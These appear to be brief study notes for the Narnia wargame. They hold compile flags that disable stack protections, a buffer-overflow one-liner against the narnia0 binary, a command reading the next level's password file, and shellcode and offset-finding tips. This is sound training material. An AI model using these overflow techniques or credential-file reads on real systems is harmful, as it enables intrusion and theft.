gcc -no-pie -fno-stack-protector -m32 -z execstack
(python -c 'print "A"*20 + "CHANGE HERE"'; cat) | ./narnia0
cat /etc/narnia_pass/narnia1
- Easy way - http://shell-storm.org/shellcode/ etc
- Another easy way - pwntools
- Or just write something yourself
- Position independent
- Bad chars (nullbyte, newline...)
- Syscalls
- EIP offset - cyclic payload
info frame
- soft links
- Nop sleed